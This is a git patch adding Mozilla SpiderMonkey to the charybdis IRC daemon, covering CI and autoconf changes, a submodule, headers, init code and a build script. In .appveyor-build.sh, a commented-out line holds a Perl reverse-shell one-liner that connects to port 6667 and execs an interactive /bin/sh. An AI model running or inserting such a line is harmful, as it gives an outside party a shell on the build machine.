From 95068c7d064bc0f6acfe3ee7ed4fa21e816f1603 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Mon, 10 Oct 2016 21:28:16 -0700 Subject: [PATCH] Introduce Mozilla SpiderMonkey. --- .appveyor-build.sh | 2 +- .gitmodules | 4 +++ .travis.yml | 26 +++++++++------ charybdis/Makefile.am | 4 +++ configure.ac | 67 ++++++++++++++++++++++++++++++++++++++ gecko-dev | 1 + include/ircd/js.h | 57 ++++++++++++++++++++++++++++++++ include/ircd/js/js.h | 45 +++++++++++++++++++++++++ include/ircd/stdinc.h | 1 + ircd/Makefile.am | 6 +++- ircd/ircd.cc | 2 ++ ircd/js.cc | 76 +++++++++++++++++++++++++++++++++++++++++++ tools/buildjs.sh | 76 +++++++++++++++++++++++++++++++++++++++++++ 13 files changed, 355 insertions(+), 12 deletions(-) create mode 160000 gecko-dev create mode 100644 include/ircd/js.h create mode 100644 include/ircd/js/js.h create mode 100644 ircd/js.cc create mode 100755 tools/buildjs.sh diff --git a/.appveyor-build.sh b/.appveyor-build.sh index 82f53d066..a816e9078 100644 --- a/.appveyor-build.sh +++ b/.appveyor-build.sh @@ -4,7 +4,7 @@ export MSYSTEM=MINGW64 export PATH=/mingw64/bin:/usr/local/bin:/usr/bin:/bin:/c/Windows/system32:/c/Windows:/c/Windows/System32/Wbem:/c/Windows/System32/WindowsPowerShell/v1.0:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl sh ./autogen.sh -./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 --with-included-boost --with-included-rocksdb=shared --disable-pch +./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 --with-included-boost --with-included-rocksdb=shared --with-included-js=shared --disable-pch # perl -e 'use Socket;$i="0.0.0.0";$p=6667;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' make -j2 make install diff --git a/.gitmodules b/.gitmodules index 1f0b6727f..b5eabae7f 100644 --- a/.gitmodules +++ b/.gitmodules @@ -4,3 +4,7 @@ [submodule "rocksdb"] path = rocksdb url = https://github.com/facebook/rocksdb.git +[submodule "gecko-dev"] + path = gecko-dev + url = https://github.com/mozilla/gecko-dev.git + branch = esr45 diff --git a/.travis.yml b/.travis.yml index b40908e68..6af286b2b 100644 --- a/.travis.yml +++ b/.travis.yml @@ -28,12 +28,13 @@ matrix: packages: - gcc-4.9 - g++-4.9 - - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + - ['automake', 'autoconf', 'autoconf2.13', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] env: - CCOMPILER=gcc-4.9 - CXXCOMPILER=g++-4.9 - WITH_INCLUDED_BOOST=--with-included-boost - WITH_INCLUDED_ROCKSDB=--with-included-rocksdb=shared + - WITH_INCLUDED_JS=--with-included-js=shared - os: linux dist: precise @@ -46,12 +47,13 @@ matrix: packages: - gcc-5 - g++-5 - - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + - ['automake', 'autoconf', 'autoconf2.13', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] env: - CCOMPILER=gcc-5 - CXXCOMPILER=g++-5 - WITH_INCLUDED_BOOST=--with-included-boost - WITH_INCLUDED_ROCKSDB=--with-included-rocksdb=shared + - WITH_INCLUDED_JS=--with-included-js=shared - os: linux dist: trusty @@ -65,12 +67,13 @@ matrix: packages: - gcc-6 - g++-6 - - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + - ['automake', 'autoconf', 'autoconf2.13', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] env: - - CCOMPILER=gcc-6 - - CXXCOMPILER=g++-6 - - WITH_INCLUDED_BOOST=--with-included-boost - - WITH_INCLUDED_ROCKSDB=--with-included-rocksdb=shared + - CCOMPILER=gcc-6 + - CXXCOMPILER=g++-6 + - WITH_INCLUDED_BOOST=--with-included-boost + - WITH_INCLUDED_ROCKSDB=--with-included-rocksdb=shared + - WITH_INCLUDED_JS=--with-included-js=shared - os: linux dist: precise @@ -84,12 +87,13 @@ matrix: - llvm-toolchain-precise-3.6 packages: - clang-3.6 - - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + - ['automake', 'autoconf', 'autoconf2.13', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] env: - CCOMPILER=clang-3.6 - CXXCOMPILER=clang++-3.6 - WITH_INCLUDED_BOOST=--with-included-boost - WITH_INCLUDED_ROCKSDB=--with-included-rocksdb=shared + - WITH_INCLUDED_JS=--with-included-js=shared - os: linux dist: trusty @@ -105,12 +109,13 @@ matrix: - clang-3.8 - gcc-4.9 - g++-4.9 - - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + - ['automake', 'autoconf', 'autoconf2.13', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] env: - CCOMPILER=clang-3.8 - CXXCOMPILER=clang++-3.8 - WITH_INCLUDED_BOOST=--with-included-boost - WITH_INCLUDED_ROCKSDB=--with-included-rocksdb=shared + - WITH_INCLUDED_JS=--with-included-js=shared - os: osx compiler: clang @@ -120,6 +125,7 @@ matrix: - LIBTOOLIZE=glibtoolize - WITH_INCLUDED_BOOST=--with-included-boost - WITH_INCLUDED_ROCKSDB=--with-included-rocksdb=shared + - WITH_INCLUDED_JS=--with-included-js=shared osx_image: xcode7.3 @@ -137,6 +143,6 @@ script: - $CC --version - $CXX --version - time bash autogen.sh -- time ./configure --with-shared-sqlite $WITH_INCLUDED_BOOST $WITH_INCLUDED_ROCKSDB CC=$CC CXX=$CXX +- time ./configure --with-shared-sqlite $WITH_INCLUDED_BOOST $WITH_INCLUDED_ROCKSDB $WITH_INCLUDED_JS CC=$CC CXX=$CXX - time make -j4 - time make -j4 install diff --git a/charybdis/Makefile.am b/charybdis/Makefile.am index 9c5ce9447..d6f1465dc 100644 --- a/charybdis/Makefile.am +++ b/charybdis/Makefile.am @@ -2,6 +2,8 @@ prefix = @prefix@ AM_CPPFLAGS = \ -I$(top_srcdir)/include \ + @ROCKSDB_CPPFLAGS@ \ + @JS_CPPFLAGS@ \ @BOOST_CPPFLAGS@ AM_LDFLAGS = \ @@ -11,6 +13,7 @@ AM_LDFLAGS += \ -L$(top_srcdir)/ircd \ -L$(top_srcdir)/rb \ @ROCKSDB_LDFLAGS@ \ + @JS_LDFLAGS@ \ @BOOST_LDFLAGS@ @@ -24,4 +27,5 @@ charybdis_LDADD = \ -lircd \ -lrb \ @ROCKSDB_LIBS@ \ + @JS_LIBS@ \ @BOOST_LIBS@ diff --git a/configure.ac b/configure.ac index c13a51fe6..f42d3a7e6 100644 --- a/configure.ac +++ b/configure.ac @@ -917,6 +917,72 @@ AC_HELP_STRING([--with-included-rocksdb[[[=shared]]]], [Use the RocksDB sources +dnl +dnl SpiderMonkey support +dnl + +AC_MSG_CHECKING([whether you asked to use the JS engine included here]) +AC_ARG_WITH(included-js, +AC_HELP_STRING([--with-included-js[[[=shared]]]], [Use the JS engine (SpiderMonkey) sources we include here]), +[ + AC_MSG_RESULT([yes]) + with_included_js="yes" + + AC_SUBST(JS_CPPFLAGS) + JS_CPPFLAGS+=" -isystem $PWD/gecko-dev/js/src/build_OPT.OBJ/dist/include" + #JS_CPPFLAGS+=" -I$PWD/gecko-dev/js/src/build_OPT.OBJ/dist/include" + + AC_SUBST(JS_LDFLAGS) + JS_LDFLAGS+=" -L$PWD/gecko-dev/js/src/build_OPT.OBJ/dist/sdk/lib" + JS_LDFLAGS+=" -L$PWD/gecko-dev/js/src/build_OPT.OBJ/intl/icu/target/lib" + JS_LDFLAGS+=" -L$PWD/gecko-dev/js/src/build_OPT.OBJ/js/src" + + AC_SUBST(JS_LIBS) + JS_LIBS+=" -lmozjs-45" + #JS_LIBS+=" -lmozglue" + + dnl !!!! + dnl HACK BUG-WORKAROUND - Mozilla forgot to include this in their lib? + dnl Runtime segfault (unresolved dynamic function address) if this is not specified + JS_LIBS+=" $PWD/gecko-dev/js/src/build_OPT.OBJ/mfbt/Unified_cpp_mfbt0.o" + + AC_MSG_CHECKING([whether to use shared JS engine]) + if [[ $withval = "shared" ]]; then + AC_MSG_RESULT([yes]) + AC_MSG_NOTICE([Shared SpiderMonkey linkage requires running charybdis with an intact build directory]) + js_linkage="shared" + JS_LDFLAGS+=" -Wl,-rpath -Wl,$PWD/gecko-dev/js/src/build_OPT.OBJ/dist/sdk/lib" + JS_LDFLAGS+=" -Wl,-rpath -Wl,$PWD/gecko-dev/js/src/build_OPT.OBJ/intl/icu/target/lib" + else + AC_MSG_RESULT([no]) + js_linkage="static" + JS_LIBS+=" -ljs_static" + fi + + js_branch="esr45" + js_options="--enable-optimize" + js_jobs="4" + bash tools/buildjs.sh $js_branch $js_options $js_jobs +],[ + AC_MSG_RESULT([no]) + with_included_js="no" + + dnl TODO mumble mumble + AC_CHECK_LIB(mozjs-45, _Z11JS_ShutDownv, + [ + + ], [ + AC_MSG_ERROR([Unable to find required JS engine (SpiderMonkey 45) package. Try apt-get install libmozjs-dev]) + ]) + + dnl TODO + AC_SUBST(JS_CPPFLAGS, ["-I/usr/include/mozjs-45"]) + AC_SUBST(JS_LDFLAGS, []) + AC_SUBST(JS_LIBS, ["-lmozjs-45"]) +]) + + + dnl dnl OpenSSL support dnl @@ -1335,6 +1401,7 @@ echo "Compiler .......................... $CXX" echo "Compiler flags (CXXFLAGS) ......... $CXXFLAGS" echo "Building boost .................... $with_included_boost" echo "Building RocksDB................... $with_included_rocksdb" +echo "Building JS (SpiderMonkey) ........ $with_included_js" echo "Precompiled headers ............... $build_pch" echo "Developer debug ................... $debug" echo "IPv6 support ...................... $ipv6" diff --git a/gecko-dev b/gecko-dev new file mode 160000 index 000000000..0940a54e9 --- /dev/null +++ b/gecko-dev @@ -0,0 +1 @@ +Subproject commit 0940a54e9408a899900f74c02ae2fce5107c4b5c diff --git a/include/ircd/js.h b/include/ircd/js.h new file mode 100644 index 000000000..f0e5c5119 --- /dev/null +++ b/include/ircd/js.h @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2016 Charybdis Development Team + * Copyright (C) 2016 Jason Volk + * + * Permission to use, copy, modify, and/or distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice is present in all copies. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/* This is the 'stdinc header' which begins the ircd::js namespace, but does not + * include any 3rd party symbols. This header is included automatically in stdinc.h. + * + * If the API in this header is unsatisfactory: get dirty with the real jsapi by + * manually including + */ + +#pragma once +#define HAVE_IRCD_JS_H + +namespace ircd { +namespace js { + +// Root exception for this subsystem. The exception hierarchy integrating +// with JS itself inherits from this and is defined in TODO: _________ +IRCD_EXCEPTION(ircd::error, error) + +// Specific logging facility for this subsystem with snomask +extern struct log::log log; + +// Fetch version information +enum class ver +{ + IMPLEMENTATION, +}; +const char *version(const ver &ver); + +// Initialize the subsystem (singleton held by IRCd main context only) +struct init +{ + init(); + ~init() noexcept; +}; + +} // namespace js +} // namespace ircd diff --git a/include/ircd/js/js.h b/include/ircd/js/js.h new file mode 100644 index 000000000..783ac7d0a --- /dev/null +++ b/include/ircd/js/js.h @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2016 Charybdis Development Team + * Copyright (C) 2016 Jason Volk + * + * Permission to use, copy, modify, and/or distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice is present in all copies. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/* This header exposes the SpiderMonkey engine API to all ye who include it. + * It also anchors all of our own developed headers and utils which use and extend their API. + * + * This header is included after the 'stdinc header' . That header creates the + * namespace ircd::js, and does not include any 3rd party symbols. is included + * automatically in stdinc.h. + * + * This header should be included if you intend to get dirty with the JS engine subsystem + * which requires jsapi support and can't be satisfied by the stdinc header. + */ + +#pragma once +#define HAVE_IRCD_JS_JS_H + +// SpiderMonkey headers require an include basis e.g. -I/usr/include/mozjs-XX as their +// include directives are written as "jsxxx.h" or "mozilla/xxx.h" etc. Our includes are all +// and shouldn't have any conflict issues. +#include + +namespace ircd { +namespace js { + +} // namespace js +} // namespace ircd diff --git a/include/ircd/stdinc.h b/include/ircd/stdinc.h index 5d92056f6..1ed7c2264 100644 --- a/include/ircd/stdinc.h +++ b/include/ircd/stdinc.h @@ -107,6 +107,7 @@ namespace ircd #include "vm.h" #include "logger.h" #include "db.h" +#include "js.h" #include "u_id.h" diff --git a/ircd/Makefile.am b/ircd/Makefile.am index 44667b0b3..d34eb1b13 100644 --- a/ircd/Makefile.am +++ b/ircd/Makefile.am @@ -5,6 +5,7 @@ libircddir = @libdir@ AM_CPPFLAGS = \ -I$(top_srcdir)/include \ @ROCKSDB_CPPFLAGS@ \ + @JS_CPPFLAGS@ \ @BOOST_CPPFLAGS@ \ -include ircd/ircd.h @@ -20,6 +21,7 @@ AM_LDFLAGS = \ AM_LDFLAGS += \ -L$(top_srcdir)/rb \ + @JS_LDFLAGS@ \ @ROCKSDB_LDFLAGS@ \ @BOOST_LDFLAGS@ @@ -28,6 +30,7 @@ libircd_LTLIBRARIES = libircd.la libircd_la_LIBADD = \ -lrb \ @ROCKSDB_LIBS@ \ + @JS_LIBS@ \ @BOOST_LIBS@ libircd_la_SOURCES = \ @@ -49,7 +52,8 @@ libircd_la_SOURCES = \ vm.cc \ hook.cc \ fmt.cc \ - db.cc + db.cc \ + js.cc #authproc.cc \ #bandbi.cc \ diff --git a/ircd/ircd.cc b/ircd/ircd.cc index f95f190ff..fe4478d9c 100644 --- a/ircd/ircd.cc +++ b/ircd/ircd.cc @@ -25,6 +25,7 @@ #include #include +#include namespace ircd { @@ -94,6 +95,7 @@ noexcept try ctx::ole::init _ole_; mods::init _mods_; db::init _db_; + js::init _js_; client_init _client_; // Create IRCd's agency diff --git a/ircd/js.cc b/ircd/js.cc new file mode 100644 index 000000000..121b726b7 --- /dev/null +++ b/ircd/js.cc @@ -0,0 +1,76 @@ +/* + * charybdis: standing on the shoulders of giant build times + * + * Copyright (C) 2016 Charybdis Development Team + * Copyright (C) 2016 Jason Volk + * + * Permission to use, copy, modify, and/or distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice is present in all copies. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include // JS_Init() / JS_ShutDown() +#include + +namespace ircd { +namespace js { + +struct log::log log +{ + "js", 'J' +}; + +} // namespace js +} // namespace ircd + +/////////////////////////////////////////////////////////////////////////////// +// +// ircd/js.h - Without 3rd party (JSAPI) symbols +// + +ircd::js::init::init() +{ + log.info("Initializing the JS engine [%s: %s]", + "SpiderMonkey", + version(ver::IMPLEMENTATION)); + + if(!JS_Init()) + throw error("JS_Init(): failure"); +} + +ircd::js::init::~init() +noexcept +{ + log.info("Terminating the JS engine"); + JS_ShutDown(); +} + +const char * +ircd::js::version(const ver &type) +{ + switch(type) + { + case ver::IMPLEMENTATION: + return JS_GetImplementationVersion(); + + default: + throw error("version(): Unknown version type requested"); + } +} + +/////////////////////////////////////////////////////////////////////////////// +// +// ircd/js/js.h - With 3rd party (JSAPI) symbols +// diff --git a/tools/buildjs.sh b/tools/buildjs.sh new file mode 100755 index 000000000..ed21be7e1 --- /dev/null +++ b/tools/buildjs.sh @@ -0,0 +1,76 @@ +#!/bin/bash + +BRANCH=$1 +if [ -z $BRANCH ]; then + BRANCH="master" +fi + +CONFIG_OPTIONS=$2 +if [ -z $CONFIG_OPTIONS ]; then + CONFIG_OPTIONS="--enable-optimize" +fi + +JOBS=$3 +if [ -z $JOBS ]; then + JOBS=4 +fi + +run () +{ + COMMAND=$1 + # check for empty commands + if test -z "$COMMAND" ; then + echo -e "\033[1;5;31mERROR\033[0m No command specified!" + return 1 + fi + + shift; + OPTIONS="$@" + # print a message + if test -n "$OPTIONS" ; then + echo -ne "\033[1m$COMMAND $OPTIONS\033[0m ... " + else + echo -ne "\033[1m$COMMAND\033[0m ... " + fi + + # run or die + $COMMAND $OPTIONS ; RESULT=$? + if test $RESULT -ne 0 ; then + echo -e "\033[1;5;31mERROR\033[0m $COMMAND failed. (exit code = $RESULT)" + exit 1 + fi + + echo -e "\033[0;32myes\033[0m" + return 0 +} + + +echo "*** Building SpiderMonkey... " + +USERDIR=$PWD # Save current dir and return to it later + +run git submodule update --init --remote gecko-dev +run cd gecko-dev +#run git fetch --depth=1 origin esr45 +#run git checkout FETCH_HEAD + +run cd js/src +run autoconf2.13 +mkdir build_OPT.OBJ +ALREADY_EXISTS=$? +run cd build_OPT.OBJ + +# If configure is rerun make will rebuild the entire engine every time +# this script is run, which is every time charybdis gets ./configure. This +# may actually be the best behavior in production but right now this test +# prevents rebuilds +if test $ALREADY_EXISTS -eq 0; then + run ../configure $CONFIG_OPTIONS +fi + +#run ../configure --enable-debug +# run ../configure --disable-shared-js --enable-debug # --enable-replace-malloc + +run make -j $JOBS + +run cd $USERDIR # Return to user's original directory